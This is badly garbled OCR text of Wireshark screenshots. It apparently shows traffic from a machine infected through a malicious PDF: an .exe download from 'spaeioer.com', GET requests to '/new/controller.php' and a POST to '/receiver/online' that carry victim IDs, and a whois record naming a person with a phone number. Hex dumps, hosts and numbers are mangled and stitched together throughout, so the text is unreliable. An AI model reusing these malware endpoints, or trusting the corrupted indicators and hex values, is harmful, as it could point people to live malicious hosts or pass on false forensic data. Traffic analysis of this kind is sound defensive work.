I00BO 34 36 35 26 72 68 64 3d 37 35 38 36 38 39 20 48 465&Fnd= 758689 H
0030 54 54 50 2f 31 2e 31 Ood 0a 48 &6f 73 74 3a 20 32 TTP/1.1. .HOST: 2
0020 31 33 2e 31 35 35 2e 39 22 38 32 0d 0a od 0a SRR e R R

File: "Citwdema FilesiRAM magestpdfipdl_ex_sniff, peap” 1377 KB 00:15:58 | Packets: 2829 Displayed; 2629 Marked: 0 4
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, = = P
B DERIE e FL(EEQAAAQAEO [ #E *®18
Eilter: | *  Expression... ear Apply
fla. - |nme iSUur:e |D;stmatmn |Prutuw\ |1nfu =
600 171, 654978 192.168.1.118 afofqdodec. com TCP @ma > NTLR [ACK] Sen=255 ACK=238 Win-o4003 Len=0
601 172841952 192.168.1.118 255.255,255.255 UDP  Source port: blackjack Dpestimation port: 34012 —

802 174. 557588  192.
603 174.850123  102.

152.168.1.1 DHS v A spaeioer.com
upp Source port: blackjack Destination port: 34012
.74

604 175.316193  192. - - DS Standard guery response A 68.180.151
605 175.352877  192. spaeioer. com TCP optima-wnet > http [SYN] Seq=0 win=64240 Len=0 MS5=1460
606 175.479388 il 152.168.1.118 TCP http > optima-vhet [SvN, ACK] Seq=0 Ack=1 win=5840 Len=0 MSS5=1460

607 175. 480072 spaeijoer. com TCP. optima-wnet > http [acK] Seg=1 Ack=1 win=64240 Len=0

[Good: True] =]
[Bad : False]
source: 192.163.1.118 (192.168.1.118)

Destination: spaeioer.com (68.180.151.74) (=t
B Transmission Control Protocol, Src Port: optima-wnet (1051), Dst Port: http (80D, Seq: 1, Ack: 1, Len: 204
Source port: optima-vner (10510 :J

E h wll. }g.P.
0030 fa fO 41 fc 00 00 47 45 54 20 2f 37 33 31 6c 33 S ALL.GE T STEIE
0040 2e 65 78 65 20 48 54 54 50 2f 31 2e 31 od 0a 41 .exe HTT P/1.1..4
0050 63 63 65 70 74 3a 20 2a 2f 2a od 0Oa 41 63 63 65 ccept: * /%, acce
00B0 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69  pr-encod ing: gzi
0070 70 2c 20 64 65 66 6c &1 74 65 0d Oa 55 73 65 72 p, defla te’.user
0080 2d 41 67 65 62 74 3a 20 4d of 7a 62 6c 6c 6L 2f —agent: mozilla/
0050 34 2e 30 20 28 63 6F 6d 70 &1 74 65 &2 6C 65 3b 4.0 (com patible;
00a0 20 4d 53 49 45 20 36 2e 30 3b 20 57 69 Ge &4 &f MSIE 6. 07 windo
00b0 77 73 20 4e 54 20 35 2e 31 3h 20 53 56 31 3b 20 ws NT 5. 1; swvl;
00CO 2@ 4e 45 54 20 43 4< 52 20 31 28 31 2e 34 33 32 -NET CLR 1.1.432
00d0 32 29 0d 0a 48 6F 73 74 3a 20 73 70 &1 65 89 6F 2)..Host : spaeiog
0020 65 72 2e 63 &f 6d 0d 0a 43 6f e Ge 65 63 74 69 er.com.. Connecti
570 :Keap —Alive..

File: "Citwdema FilesiRAM magestpdfipdl_ex_sniff, peap” 1377 KB 00:15:58 | Packets: 2829 Displayed; 2629 Marked: 1 4
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7 =t = o
B DERXIE A FL(EBEB AQAANO EEE X B
Eilter: | *  Expression... ear Apply
fla. - |nme |Suur:e |D;shnatmn |Prutucu\ |1nfu =
746 226,270986  192.168.1.118 :255:255, 255 255 UDP source port: blackjack pestination port: 34012
192.168.1.118 NS g je com -~
192168 £ DNS

152.168.1. Standard guery A ya.ru

751 227 307957  192.168.1.1 152, 168‘1.1‘1& NS standard guary response A 213.180 204, 8
752.227.380487  192.168.1.118 Agziiesil.l . DMS standard guery A mixmediadirect. <
753 227.737318 152.168.1.118 1. www.ms. akadns. ne1 TCP bryread » htrp 5] seq=0 win=l 64240 Len=0 M35=1460 ;I
< |
=—TToTE T agTETTTS

Fragmen( offset: 0
Time to Tiwve: &4
Protocol: UDP (0x11)

B Header checksum: Oxbeb? [correct]
[Good: True] _I
[Bad : False]
Source: Mourtain (152.168.1.1) =
0000 00 09 se 00 10 25 00 1a 70 fc UG 68 08 00 45 00
0010 00 e 00 00 40 00 40 11 b6 b7 cO a8 01 0l cO af

0020 0L 76 00 35 04 od 00 5a f2 7d 3b 07 84 B0 00D OL
0030 00 01 00 02 QO Q0 02 79 &1 02 72 75 00 00 01 0Q
0040 0L <0 0c 00 Ul QD 01 00 00 1c 20 Q0 04 ds hd <o
0050 08 cO 0c 00 02 00 01 00 00 1c 20 00 Od 03 6Ge 73
0080 31 06 79 61 62 64 65 78 <0 Of <0 0c 00 02 00 01
0070 00 00 1c 20 00 06 03 6e 73 35 cO 37

File: "Ciirodema Fles\RAM imagestpdfipd§_ex_sniff,peap” 1377 KB 00:15:58 | Packets: 2829 Displayed; 2623 Marked: 1 P
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Ukranian IP
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cap - Wireshark =i

Flle Edt Yiew Gb Copture Analyze  Shatistics Help

BEWBAE DERXEL | AeenT BB QAR #E0 X B

Eiters | ~  Expression.. Clear Anply
fla. - | Time: i Source | Dectination | Protocal | Info =
148 41.455385 152.168.1.118 Tieliteautobody.cn  TCP Tpitp > http [ACK] Seq=361 Ack=16061 win=59860 Len=0 =
145 41.456353 Tieliteautobady. cn  192.168.1.118 HTTF  HTTP/L.T 200 OK Capplication/x-shockway 3
150 41.4 56677 192.168.1.118 Jieliteautchody. cn TCP fpitp » http [ACK] Seq=361 Ack=16868 wi 9054 Len=0
151 42.034164 192.168.1.118 D b upe source port: blackjack pestination por 2
152 42.501901 cisco-Li_fc:09:68 Broadcast ARP who has 192.168.1.1187 Tell 192.168.1.1
153 42.502122 Masstech_00:19:25 Cisco-Li_fic:09:68 ARP 192.168.1.118 is at 00:0%:52:00:19:25
154 44.557658 192.168.1.118 255.255.255,255 uop saurce port: bhlackjack Destination port: 34012
1586 45.171440 213.155.4.82 192.163.1.118 TGP http > wfremotertm [SvM, Ack] Seq=0 ack=1 win=5840 Len=0 M55=1460
157 456.171816 192.168.1.118 213.155.4.82 TCP  wfremotertm > http [ack] sen=1 ack=1 win=64240 Len=0
158 46.172752 192.168.1.118 213.155.4.82 HTTP GET /new/controller. php?action=hot&entity_1ist=&uid=1&First=1&0uid=3562573465&rnd=758688 HTTP/1.1 Ll
4 | |
# Frame 155 (62 bytes on wire, 82 bytes captured) -
= Ethernet II, src: Masstech_00:19:25 (00:009:5e:00:10:25), Dst: Mountain (00:1a:70:Fc:00:68)
= pestination: mountain (00:la:70:fc:00:68)
Address: Mountain (00:1la:70: 9:68)
e e e . IG bit: Individual address Cunicast)
i [ . 5 5 LG bit: globally unigue address (factory defaultd
B source: Masstech 00:19:25 (00:09:52:00:19:25)
Address: Masstech_on 25 (00:09:50:00:15:25)
S IG bit: Individual address (unicast)
3 5505 5 5 = LG bit: Globally unique address (Factory default)
Type: TP (0x0800)
= Ifternet Protocol, Src: 192.168.1.118 (192.168.1.118), Dst: 213.155.4.82 (213.155.4.82)
version: 4
uaadar lannth: 20 hutas i
D000 00 la 70 fc 00 68 00 09 Se 00 16 25 08 00 45 00
0010 00 30 Q0 d8 40 00 80 06 5d 24 <0 a8 0L 76 d5 9b
0020 04 52 04 16 00 50 2c 97 fe f6 00 00 00 0O 7O 02
0030 fa fO bc 22 0000 02 04 05 b4 01 01 04 02
File: *Ciiudemo Fles\RAM imsgesipdfipd?_ex_sniff.peap™ 1377 KB 00:15:58 | Packets: 2829 Displayed; 2629 Marked: 0 J
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Ukranian Location:

% This is the RIPE Whois query server #1.

% The objects are in RPSL format.

% Rights restricted by copyright.

% See http://www.ripe.net/db/copyright.html

%To receive output for a database update, use the "-B" flag.
% Information related to '213.155.4.80 - 213.155.4.87'
inetnum: 213.155.4.80 - 213.155.4.87

netname: tarelka

descr: tarelka - Anton Giliashvili



country: UA

admin-c: AG100-RIPE

tech-c: AG100-RIPE

status: ASSIGNED PA

mnt-by: MNT-HOSTINGUA

source: RIPE # Filtered

person: Anton Giliashvili

address: po. box 5802, Sharjah, AE, 5802
phone: +9715725060

nic-hdl: AG100-RIPE

abuse-mailbox: maazaltd@ya.ru

source: RIPE # Filtered

% Information related to '213.155.0.0/19AS41665'
route: 213.155.0.0/19

descr: Datacenter Hosting.UA

origin: AS41665

mnt-by: MNT-HOSTINGUA

source: RIPE # Filtered



cap - Wireshark _(81%]

Flle Edt Yiew Gb Copture Analyze  Shatistics Help

aeewngiEElacan | E2m xR

Eiters | ~  Expression.. Clear Anply
fla. - |nme iSUurce |Destmatmn |Prutuw\ |1nfu =
590 167, 922671 192.168.1.11 229,259,299,299 (i) SOUFCE pOrt: HIAcKj4ck Destination port: 34012
591 170057385  192.168.1.118 102.168.1.1 DNS standard cuery A af9f440dcc. com —
592 170.418408  192.168.1.118 255,255, 255.255 upP Source port: blackjack Destination port: 34012
593 170, 810338  192.168.1.1 102.168.1. 118 DHS Standard guery response A 83.133.127.5
594 171.127407  192.168.1.118 af9f440dcc. com TR ama > http [STH] Seq=0 Win=64240 Len=0 M55=1460
595 171.336301 afofad0dec. com 192,168.1.118 TCP http » cma [SYn, Ack] Seq 0 Ack=1 win=5840 Len=0 M35=1460
596 171.336972 192.168.1. 118 afofddodec. com TCP ama > hrtp [ACK] Se win=64240 Le

] m &
598 171. 501376 afofd40dee. CDm 102 FIARIIIIIR TCP http > cma [A‘(K] Sel Acl 55 win=6432 Len _‘
il |
0. = More fragments: Not set
Fragment offset: 0
Time to Tiwve: 128 =
Protocol: TCP (0x06)
B Header checksum: 0x6375 [correct]
[Good: True] j

0000 00 Ta 70 Tc 09 68 00 09 5e Q0 1G5 25 08 Q0 45 00
0010 Ol 26 01 bd 40 00 80 06 63 75 cU a8 01 76 53 85
0020 7f 05 04 1a 00 50 50 e0 Of 05 3b ae 1c 2d 50 18 g P
0030 fa fO 3a 37 00 00 47 45 54 20 2f 62 74 2e 70 68 T /bt.ph
0040 70 3f od 6f 64 3d 26 69 64 3d 76 6% 72 74 77 6% p7mos d=virtwi
0050 &e 78 70 5f 2d 37 33 32 33 39 33 38 33 31 26 75 hxp_7732 3038314u
0060 70 3d 37 36 30 32 30 33 26 6d 69 64 3d 73 Bf 62 p=760203 &mid=sob
0070 &F 63 34 33 20 48 54 54 50 2f 31 2e 31 od Oa 41 0cd43 HTT ;/1.1..»1
=, . Acce
0030 70 74 2d 45 e 63 6F 64 69 Ge 67 3a 20 67 Ta 69 pt-encod ing: gzi
0020 70 2¢ 20 64 65 66 6 6L 74 65 Od Qa 55 73 B5 72 p, defla te..user
00b0  2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f -Agent: Mozilla/
00c0 34 2e 30 20 26 63 of 6d 70 61 74 63 62 6C 65 3b 4.0 (com patible;
00d0 20 4d 53 49 45 20 36 2e 30 3b 20 57 69 6e &4 6f MSIE 6. 0; windg
0020 77 73 20 4e 54 20 35 2¢ 31 3b 20 53 56 31 3b 20 ws NT 5. 1; Svl;
00F0  2e 4e 45 54 20 43 4c 52 20 31 2e 31 2e 34 33 32 SNET CLR 1.1.432
0100 32 25 0d 0a 48 6F 73 74 3a 20 61 66 39 66 34 34 2)..Host : afofd4
0110 30 64 63 63 2e 63 6f 6d 0d 0a 43 6f 6e 6e 65 63 Odcc. com . .Connec
0120 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 75 65 tion: Ke ep-alive

File: "€ irodema Fles[RAM imagestpdfipdf_ex_sniff, peap” 1377 KB 00:15:50 [ Packsts: 2629 Displayed: 2629 Marked: 1 ’
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BEWBAE DERXEL | AeenT BB QAR #E0 X B

Eiters | ~  Expression.. Clear Anply
fla. - | Time: i Source | Destination | Protacel | Infa =
5505 124, 827158  192.168.1.118 255.255.255.255 uppP source po hlackjack pestination port: 34012
560 127. 047326 192.168.1.118 B55i255:255:255 upe source blackjack pestimation porti 34012
561 129.271140 192.168.1.118 255.255.255.255 upe. Source blackjack pestination port: 34012 =
562 131.358973 192.168.1.118 255.255.255.255 upp Source blackjack BDestination port: 34012
563 133.B850834 192,168.1.118 255.255.255,255 upP source hlackjack ocestination port: 24012
564 +368380  192.168.1.118 2555255255255 LDP: source blackjack oestipnation port: 34012
565 . BORSZS 192.168.1.118 upe source blackjack pestination port: 34012
568 004404 192.168.1.118 uop Source blackjack bestination port: 34012
567 1475, 036611 192.168.1.118 255.255+255:255 Source hlackjack Destination port: 34012
568 . 404236 192.168.1.118 255:255:255:255 L source hlackjack opestination port: 34012
560 151.247068  192.168.1.118 55,255,255 ' source hlackjack pestination port: 34012

3
571 153638415  192.168.1.118 255,255.255. 255 Source Destina port: 34012
572 153.709847  Cisco-Li_fc:09:68 Broadcast ARP Who has 192.168.1.1187 Tell 192.168.1.1
573 153.740904  Masstech _00:19:25 Cizco-Li_fe:op:es ARR 192.168.1.118 iz at 00:009:52:00:19:25
574 153.741772 78.109.30. 224 192.168.1.118 TCP http > td-postman [SYN, Ack] Segq=0 Ack=1 wWin=5840 Len=0 Ms5=1460
575 153.742551  192.168.1.118 7H.109.30.224 TP td-postman > http [Ack] sSeg=l Ack=l win=64240 Len=0
576 153.743245  192.168.1.118 7H.109.30.224 TCP [TCP segment of a reassembled PDU]
577 153.743544  192.168.1.118 7E.108.30.224 TR td-postman > http [FIN, ACK] Seq=144 Ack=1 Win=64240 Len=0 |
i} |
= RESErVET UTLT WOT SET
= pon't fragment: set
.0. = More fragments: Not set

rragment offset: O
Time to Tive: 128
Pratocol: TCP (OXOE) J

o

2 Header checksum: Oxcobc [correct]
[Good: True]
[Bad : False]
Source: 192.168.1.118 (192.168.1.118)
pestination: 78.109.30.224 (78.109.30.224)
= Transmissioh Control Frotocel, sre Port: td-postman (10497, DSt Port: http €80), saq: 0. Lan: O =
0000 Q0 1a 70 Tc 09 68 00 09 5e 00 19 25 08 Q0 45 00 ..p..h.. A
0010 00 30 01 a0 40 00 80 06 9 bc co ad 01 76 4e 6d  .0..@... .

0020 1le 20 04 19 00 50 40 15 0l 06 00 Q0 00 00 70 02
oo30 fa fo 13 3f 00 00 02 04 05 b4 01 01 04 02

%. .E.
Svhm

File: "Citwdema FilesiRAM magestpdfipdl_ex_sniff, peap” 1377 KB 00:15:58 | Packets: 2829 Displayed; 2629 Marked: 1 4

Crstart| | vBéEl%woa.pl |2 ot | 8 imunes | 2. nettress tvestigator &[] pof_ex_smfftpcap - | i connecting to83.133.L... [fo 1 2 SRR S @IS (RN 7etem




cap - Wireshark

=181

Flle Edt Wew Gp Copture Anshze  Stabistics Help
x@dacvagia|lacaanaEs x| B8
Eiter: | T Expression.,. Clear Apply
Na - | Tine i Source | Destination | Protocol | Info =
565 138.806925 197.168.1.118 255.255,255,255 upP source : kﬂackﬁack pestination Enr‘t: 34012
566 143, 004404 192.168.1.118 255.255.255.255 UDP source blackjack oDpestimation port: 34012
567 145.036611 192.168.1.118 255.255.255.255 uppP source | hlackjack pestination port: 34012 el
568 148.404236 192.168.1.118 255.255.255.255 uppP source blackjack pestination pDr‘t: 34012
569 151.247068 162.168.1.118 255,255,255, 255 upp Source i hlackjack  Destination port
570 153.402189% 192.168.1.118 78.109.30.224 TCP td- pDStmaﬂ > http [S‘(N] Seq=0 wWin=64240 LEH 0 MSS—1460
571 153.038415 192.168.1.118 255725572557255 UDR source port: blackjack bpestination port: 34012
572 153.709847 Cisco-Li_fc:09:88 Broadcast ARP who has 192.168.1.1187 Tell 192.168.1.1
573 153. 740004 Masstech_00:19:25 Cisco-Li_fc:09:68 ARP 152.168.1.118 is at 00:08:56:00:189:25
574 153.741772 78.109.30.224 192.168.1.118 TCP http = td-postman [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 M35=1460
575 153, 742551 152.168.1.118 78.109.30.224 TCP td-postman > http [ACK] Seqg=1 Ack=1 wWin=64240 Len=0

L B26053

.1 g
75.106. 30, 224

/3. ]
78.100.30.224

RESErVET 0T 0T S et
g pon't fragment: set
..0. = More fragments: Not set

Fragment offset: 0

Time to Tive: 128

Protocol: TCR (0x06)

5 Header chacksum:
[Good: True]
[Bad : False]

Source: 192.168.1.118 (192.168.1.118)

o

0xc932 [correct]

pestination: 78.109.30.224 (78.109.30,224)
= Transmission Control Protocol, src Port: td-postman (1049), Dst Port: http (80), Seq: 1, ack: 1, Len: 143 =l
0000 00 1a 70 T< 09 68 00 09 e 00 19 25 08 00 45 00 PR ALK E
0010 00 b7 01 a3 40 00 80 06 <9 32 cO aB 01 76 4e &d - :
0020 1= =20 04 19 Q0 50 40 15 01 07 47 <2 46 ed 50 18 E
0030 fa 0 £S5 be 00 00D 50 4F 53 54 20 2f &7 &F &f 64
0040 2f 7z 65 63 65 60 75 63 72 2f 6f 62 6 60 58 65 /raceive r'/on?ina
0050 20 48 54 54 50 2F 31 2e 31 0d 0a 48 6f 73 74 3a HTTR/L. 1..Host
0060 20 37 38 2 31 30 38 2e 33 30 2= 32 32 34 0d 0a 78,109, 30.224
0070 43 6F Ge 74 &5 6e 74 2d 54 79 70 65 3a 20 61 70  Content- Type: ap
0080 70 6¢ €0 63 61 74 68 6f 6e 2f 78 2d 77 77 77 2d plicatio n/x-www-
0050 66 6F 72 6d 2d 75 72 6c 69 6e 63 6F 64 65 64 0d  form-url encoded
0020 02 43 6f Ge 74 65 6e 74 2d 4cC €5 ée &7 74 68 3a  .content -Length
l00b0 20 31 36 Od 0a 0d 0a 67 75 69 64 3d 33 35 36 32 16....9 uid=3362
00c0 35 37 4 36 57346
File: "C;rvdema Fles\RAN imagesipdfipdf_ex_sniff pesp” 1377 KB 00:15:58 | Packets: 2829 Displayed; 2623 Marked: 1 P

fstart| EO v B EA %SG RESB | for HiTunes 2, Nettress tnvestigator & [l pdf_ex_smiff.pcap - | 1y connecting ko 78.109.3... [o /1 2 G B S ATRMCH) 7izzpm

F.pcap - Wireshark _18] x|
Flle Edt Wew Gp Copture Anshze  Stabistics Help
EHE&E\BR@é\.\:’»@Q»E&HE’;BIQQ@E\%E%%\@
Eiter: [ T Expression.,. Clear Apply
Na - | Tine i Source | Destination | Protocol | Info =
565 138.806925 197.168.1.118 255.255,255,255 upP source Enrt: kﬂackﬁack pestination Enrt: 34012
565 143, 004404 192.168.1.118 255255255255 uppP hlackjack opestimation port: 34012
567 145.036611 192.168.1.118 255.255.255.255 uppP hlackjack pestination port: 34012 el
568 148.404236 192.168.1.118 255.255.255.255 uppP blackjack pestination pDr‘t: 34012
569 151.247068 162.168.1.118 255,255,255, 255 upp Source port: blackjack Destination port
570 153.402189% 192.168.1.118 78.109.30.224 TCP td-postman » http [SYN] Seq=0 win=64240 LEH 0 MSS—1460
571 153.038415 192.168.1.118 255725572557255 UDR source port: blackjack bpestination port: 34012
572 153.709847 Cisco-Li_fc:09:88 Broadcast ARP who has 152.168.1.1187 7ell 192.168.1.1
573 153. 740004 Masstech_00:19:25 Cisco-Li_fc:09:68 ARP 152.168.1.118 is at 00:08:56:00:189:25
574 153.741772 78.109.30.224 192.168.1.118 TCP http = td-postman [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 M35=1460
575 153, 742551 152.168.1.118 78.109.30.224 TCP td-postman > http [ACK] Seqg=1 Ack=1 wWin=64240 Len=0

570 a5,
577 153, 743544

78.109. 30, 224

Td-postman >

Time to Tive:

= WESErvET OTCT WOt SET
pon't fragment: set
.0. = More fragments: Not set

Fr agment offset: O

128

Protocol:

TCP (0x06)

o

= Header checksum: 0xc932 [correct]
[Good: True]

[Bad : False]

Source: 192.168.1.118 (192.168.1.118)

pestination: 78.109.30.224 (78.109.30.224)
= Transmission Control Protocol, src Port: td-postman (1049), Dst Port: http (80), Seq: 1, ack: 1, Len: 143 =l
0000 00 1a 70 fc 09 68 00 09 5e U0 19 25 08 U0 45 00 %. .E.
0010 00 b7 01 a3 40 00 80 06 9 32 <0 a8 01 76 4= &d ~m
0020 1s 20 04 19 00 50 40 15 OL 07 47 <2 46 ed 50 18 G.F.P.
0030 Fa Fo £5 be 00 00 50 4F 53 54 20 2F 67 &F &F &4 ood
0040 2f 72 65 63 65 69 79 65 72 2f 6f 62 6¢ 69 G 65 /I 2 ine
0050 20 48 54 54 50 2f 31 2e 31 Od 0a 48 6f 73 74 33 HTTP/L. 1..Host:
0060 20 37 38 2e 3L 30 39 2& 33 30 2e 32 32 34 od 0a 78,109, 30.224
0070 43 6F 6e 74 65 e 74 2d 54 70 70 65 3a 20 61 70  Coptent— Type: ap
00BO 70 6¢ 63 63 61 74 60 6f 6e 2f 78 2d 77 77 77 2d plicatio n/x-www-
0030 66 6f 72 6d 2d 75 72 6C 65 6e 63 6f 64 65 64 0d form-url encoded
00a0 0a 43 6F 6e 74 65 e 74 2d 4c 65 Ge 67 74 68 3a  .content -Length
00b0 20 31 36 0d Da od 0a 67 75 63 64 3d 33 35 35 32 16....g uid=3362
00cO 35 37 4 57348
File: "Cifrodema Fles\RAM imagestpdfipdf_ex_sniff,peap” 1377 KB 00115458 [ Packsts: 2629 Displayed: 2629 Marked: 1 ’
fsat| mO B EB YR G BHE |2 ot | 8 imunes | 2. netritress tvestigator &[] pof_ex_smifftpcap - | i connecting ko 78.109.3... [ 1 2 B S @I (TRMCH) 7izzem




i pdf_ex_sniff.pcap - Wireshark _18] x|
File Edt Wiew Go Copture Anslyze  Stabistics  Help
3 = = = -

BWees DExX2E aevoT @R acan @09 x|
Eiters | T Expression.,. Clear Apply
fla. - |T\me iSUurce |Destmauun |Prutuw\ |1nfu =

U8 178. 862016  spaeioer.com it P HTTP  ATTP/L.1 200 OK (app|iCation/octet—Strean)

707 178.862980  192.168.1.118 spaeioer. com = optima-ynet » http [Ack] Seg=205 ack=73264 win=63504 Len=0

708 170.262263  192.168.1.118 spaeioer. com TP optima-vnet » http [FIN, ACK] Seq=205 Ack=73284 Win=63994 Len=0

709 179, 401620 spaeioer.com 1920 168 1.118 FeH http > ﬂpt'\ma —vnet [acK] sSeq=73264 Ack=206 win=6432 Len=0

179,701898 192.168.1.116 UDR ackjack Basﬁmaﬁun port: —

B Header checksum: ox643b [carrect]
[Good: True]
[Bad False]
Source: 192.168.1.118 (192.168.1.118)
pestination: afgf440dcc. com (83.133.127.5)
= Transmission Control Protocol, Src Port:
source port: cma (10507
pestination port: http (800
sequence number: 255
Acknowledgement number :
Header Tength: 20 bytes
B Flags: 0x14 (RST, ACK)
Bive ween: =

239

ama (1050), Dst Port:

congestion window Reduced (Cwr):

(relative sequence number)
(relative ack number)

NoT SET

http (800, seq:

181, 708765  192.168.1.118 UDP.  Source port: blackjack bestimation port
713 184.201372 192.168.1.118 255 255 255 255 upe. Source port: blackjack Destination port
714 186. 723214 192.168.1.118 255.255.255.255 upp Source port: hlackjack Destination port
715 188.776139  192.168.1.118 255.255.255,255 upP source port: blackjack obestination port
716 101, 336494 192.168.1.118 “25EE2SRE2 55255 LDP: source port: blackjack obestination port
717 193. 604961 192.168.1.118 255.255.255. 255 upe source port: blackjack Dpestination port
718 105, 825292 192.168.1.118 255.255. 255 255 uop Source port: blackjack bestination port
719 198.208785 192.168.1.118 255: 255,255,955 upP Source port: hlackjack Destination port
720 200,770040- 192.168.1.118 255:255:255:255 upp source port: blackjack bestination port
721 203.276767 192.168.1.118 255.255,255.255 uDF source port: blackjack pestination port
722 205821606 192.168.1.118 255.255.255.255 upp source port: blackjack bestination port
723208, 013163 192.168.1.118 255:255255:255 upp Source port: blackjack Destination port: 34012
724 209.825804 192.168.1.117 192.168.1.255 EBROWSEI Requ_‘est Announcement GOLIATH ; ; . _|
35e 506 e3%0e 103 1ee a1 0o E Pt BRAE Rl S0 piaa i SRR R e b SeSEIILauin anBAnE G SOEDIosann  fusnoung BEomae gecoe e iEd
il 5
PrOToen T TP (UXUG) 5|

255, Ack: 239, Len: 0

0! oo 2 1
0020 7f 05 04 1a
0030 00 00 5c al

0
&9 74

1 76 53 85
% o sb ze 1d 8 50 1¢

File: "Ciirodema Fles\RAM imagestpdfipd§_ex_sniff,peap” 1377 KB 00:15:58 | Packets: 2829 Displayed; 2623 Marked: 1 P
Leseart| | B - BEA %YL e el SB | S S imunes %, Netiitness Investigator & || jil] pdf_ew_sniff.pcap i comnecting to 213,155.... [ 1 @S R sk
cap - Wireshark _1®ix|
File Edit Wiew Go Copture Anslyze  Statistics Help
; ] )
BEeeas DEXSE| *HF LE|EEQQAQFA|&EE X
Eiters | T Expression.,. Clear Apply
Source Destination Frotocal | Info =
TCF
UDP -
TCP
i 7 T T TCE A
414432 192.168. T Upp Source port: blackjack Destination port
523 78.700819 192.1868. 213.155.4.82 TCP whremoterth > http [FIN, ACK] Sef=122 Ack=279648 win=64240 Len=0
534 78.847385 192.168 213.155.4.82 TCR neodl > http [SYn] Seq=0 win=64240 Len=0 MSS=1460
535 79.571062 213.155 192.168.1.118 T http > neodl [SyM, ACK] se Ack=1 win=5840 Len=0 Ms5=1460
538 79, 577807 192.168 21311550482 TCR neodl > hrtp [ACK] Seg=l ack=l win=64240 Len=0
.B5G512 25542555255 Source port: b'lack]ack Destination port: 3401
5 & T
T Toor et e
[Good: True] —i
[Bad False]
Source: 192.168.1.118 (192.168.1.118) o
Destination: 213.155.4.82 (213,155.4.82)
= Transmission Control Protocol, Sro port: neodl (10470, Dpst port: http (80), seq: 1, Ack: 1, Len: 197
Source port: neodl (1047) i |
0000 00 1a 70 f< 09 68 00 09 Ge 00 15 25 08 00 45 00 ..p..h
0010 00 ed 01 83 40 00 80 06 5c 7c cO aB 01 76 d5 9b :
0020 04 52 04 17 Q0 50 9a 4a b7 47 &f of 60 ac 50 18
0030 fa 0 £5 45 00 00 47 45 54 20 2f 6e &5 77 2f 63
0040 &f 6 74 72 6F 62 6 65 72 28 70 68 70 3F 51 63 omerolle
0050 74 69 6f 6e 3d 72 65 70 6F 72 74 26 67 75 63 64  tion=rep
0060 3d 30 26 72 €= 64 3d 37 35 38 36 38 39 26 75 69  =0&rnd=r
0070 &4 3d 31 26 65 62 74 69 74 79 3d 31 32 33 38 31  d=lgenti
0080 30 37 37 30 36 3a 75 6e 69 7L 75 65 3f 73 74 €1 07706:un
0000 72 74 3b 31 32 33 38 31 30 37 33 31 30 3a 75 68 rt;12381
0030 65 71 75 B5 5F 73 74 61 72 74 3b 31 32 33 38 31  fgue_sta
l00b0 30 37 31 34 30 3a 75 Ge 69 71 75 65 5F 73 74 61  07143:un
00c0 72 74 3b 31 32 33 3836 39 37 34 34 38 3a 75 62 rr;12386
oodo €9 71 75 65 5F 73 74 61 72 74 20 48 54 54 50 2f  igue_sta
0020 31 2e 31 0d 0a 48 6F 73 74 3a 20 32 31 33 2e 31 1.1..Hos
0ofo 35 35 22 34 22 38 32 od 02 0d Oa 55.4.82,
File: "Ciirodema Fles\RAM imagestpdfipd§_ex_sniff,peap” 1377 KB 00:15:58 | Packets: 2829 Displayed; 2623 Marked: 0
o] ED - B EE R G @EE | S | 8 imunes | 2. netitress twestigator &[] pdf_ex_smiftpcap - i enciypted datatransmi.. | [ 3 2 B b e B1E> rmuCH)




cap - Wireshark _(81%]

Flle Edt Wew Gp Copture Anshze  Stabistics Help

Se e e T LB BlQQ@kEHﬂE B x| B
Eiters | ~  Expression.. Clear Anply
fla. - |T\me iSUur:e |Destmatmn iPrutuw_\ |Infu =

786 236, BE1909 af9f440dcc <o 192.168.1.118 S5Lv3 server Heﬂu cermﬁcate, Seren Hello pone
ég afofddod om P f s [acKl sen-7o s 0 :
T uol_eo_sivtacan— w|r=shark . . i B -1
File Edct Wew Go Capture Anshze  Stabistics Help
BB E EEXES LesaTE|EE|AQRR E00 K| 8
Biter: [ = Expression... Clear Apply
o, » |nma |Snurte |Dastmatmn |Pmtum¢ |[nfu =
1345 273.576L58  www. gon. com 102.168.1.145 TCP [TCP segment of a reassembled PDU]
1350 273.576215  192.168.1.145 Wew. gcn. com TP 24853 > hrtp [ACK] 5eq=209 Ack=36041 win=17520 Len=0
1351 273. 577810  www.gen. com 152.168.1.145 HTTP  HTTR/L.1 404 Not Found (text/html)
1352 273, 740445  192.168.1.145 . gen. com TP 24853 > http [ACK] Seq=200 Ack=57700 Win=16760 Len=0
1353 273. 770623 192.168.1.118 22044, ¢, akamaiadge. net s5Lv3  Application Data
1354 273, 804528 eZOM.c.akama‘iedge.ﬂet 152.168.1.118 S5Lv3 App'hcat‘mn pata a
] 2 5 L T15 3 nwd. nat r ITEp |RST, ACK ACK =2 Win=0 Len=0
4. c.akamaiedge. net cardax > https [ACK] Ser-32 ck=15342 Win=64240 Len=0
274, 475202 192.168.1.118 L6811 OHS Standard guery A hipservice.live, com

274,522443 192,168,
274 612258 192.168.

2.168.1.1 DNS. standard guery A switch. atdme. com
J168.1.118 DNS Standard quer‘y response A 65,203.229,.44
h

Standard query response CNAME hipserwvice. hve com nsatc.net A 65. 54 23411
amt-gsd-prot > https [SVN] Seq=0 wWin=64240

brens w mwiinddan Fevnl sl Gan.

= Reserved bit: not set
= pon't fragment: set
..0. = More fragments: Wot set
Fragment offset: ¢
Time to Tive: 128
Protocol: TCP (0x06)
B Header checksum: 0x0eS0 [correct]
[Good: True]
[Bad : False]
Source: 192.168.1.118 (192.168.1.118)
pestination: switch.atdmrt.com (65.203.229.44)
= Transmission Control Protocol, Sro Port: pvuniwien (LOSL), Dst Port: brtps (443D, Seqi 0, Len: ©
soyrce port: pvuniwien (1081) =
0000 Q0 1a 70 TC 09 68 00 09 G5e 00 10 25 08 Q0 45 00 ..p..
0010 00 30 03 62 40 00 80 06 Oe 50 co a8 01 76 41 cb -

0020 25 2¢ 04 39 Ul bh 63 38 59 9d 00 Q0 00 0O 7O 02
0030 fa fO dc 4e 00 00 02 04 05 b4 01 01 04 02

F.pcap - Wireshark _(81%]

Flle Edt Yiew Gb Copture Analyze  Shatistics Help

aeewngiEElacan | E2m xR

Eilter: [ ~  Expression.. Clear Anply
fla. - | Time: i Source | Dectination | Protocol | Info 2]
